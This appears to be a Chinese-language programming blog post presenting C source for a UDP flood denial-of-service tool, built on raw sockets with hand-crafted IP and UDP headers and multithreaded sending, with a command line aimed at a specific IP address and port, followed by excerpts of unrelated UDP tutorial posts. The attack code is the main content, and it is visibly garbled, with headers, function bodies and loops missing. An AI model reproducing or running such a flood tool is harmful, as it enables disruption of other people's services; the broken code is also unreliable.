1.概述
udp攻擊向目標主機的udp埠傳送大量的udp報文,造成目標主機的埠堵塞,達到攻擊的目的。建立多執行緒,利用原始套接字封裝udp與ip的首部,然後傳送udp報文,攻擊目標主機.
2. udp攻擊例項
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/**udp洪水攻擊:
不停的向目的主機傳送udp包,讓目的主機接收埠擁塞,以達到攻擊的目的
**/#define maxchild 2
#define k 1024
#define datuml 1*k
static int proto_udp=-1;//udp協議型別
static unsigned long dest=0;//目的位址,32位二進位制
static int dest_port=0;
static int rawsock=-1;//原始套接字
static int alive=0;
//整個ip報文包括3個部分,ip首部,udp首部,udp資料部分
struct dosseg_t dosseg;
//計算校驗和
static unsigned short dos_cksum(unsigned short *data,int length)
if(left==1)
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
ret=~sum;
return ret;
}static inline long myrandom(int begin,int end)
static void dos_udp()
//printf("size=%d\n",size);
}//執行緒函式
static void dos_fun(unsigned long ip)
}static void dos_sig()
int main(int argc,char*argv)
//獲取udp的協議型別
protocol=getprotobyname(protoname);
if(protocol==null)
proto_udp=protocol->p_proto;
dest=inet_addr(argv[1]);//得到目的位址
if(dest==inaddr_none)
memcpy((char*)&dst,host->h_addr,host->h_length);
dest=dst.s_addr;
}dest_port=atoi(argv[2]);
//建立原始套接字
rawsock=socket(af_inet,sock_raw,proto_udp);
printf("rawsock=%d\n",rawsock);
if(rawsock<0)
//設定手工填寫ip首部
setsockopt(rawsock,sol_ip,ip_hdrincl,"1",sizeof("1"));
//建立多執行緒傳送udp包
for(i=0;i執行:
./udp-attack 222.27.253.1 8888
攻擊222.27.253.1 8888埠.
總結:本文主要介紹了通過原始套接字傳送大量的udp報文,使埠阻塞,達到攻擊的目的。
Linux網路程式設計 UDP洪水攻擊
udp攻擊,又稱udp洪水攻擊或udp淹沒攻擊 英文 udp flood attack 是導致基於主機的服務拒絕攻擊的一種。udp 是一種無連線的協議,而且它不需要用任何程式建立連線來傳輸資料。當受害系統接收到乙個 udp 資料報的時候,它會確定目的埠正在等待中的 應用程式。當它發現該埠中並不存在正...
Linux 網路程式設計之UDP
1.介紹 udp協議是無連線的,不可靠傳輸的協議.伺服器與客戶端的互動不需要建立連線,沒有流量控制的功能。與tcp一樣,它也是傳輸層協議,通訊過程中需要ip位址與埠號。使用udp進行程式設計包括伺服器與客戶端,下面介紹一下伺服器與客戶端的通訊流程 伺服器流程 1 建立伺服器套接字描socket 2 ...
linux網路程式設計之UDP
udp 前面已經講過tcp網路通訊,然後tcp每次通訊都要進行三次握手連線,雖然傳輸的可靠性比較高,但對於一些及時性的資料的傳輸顯得太過費時,所以就有了udp這種無連線通訊,但資料容易出錯。伺服器端填充 sockaddr結構 bzero addr,sizeof struct sockaddr in ...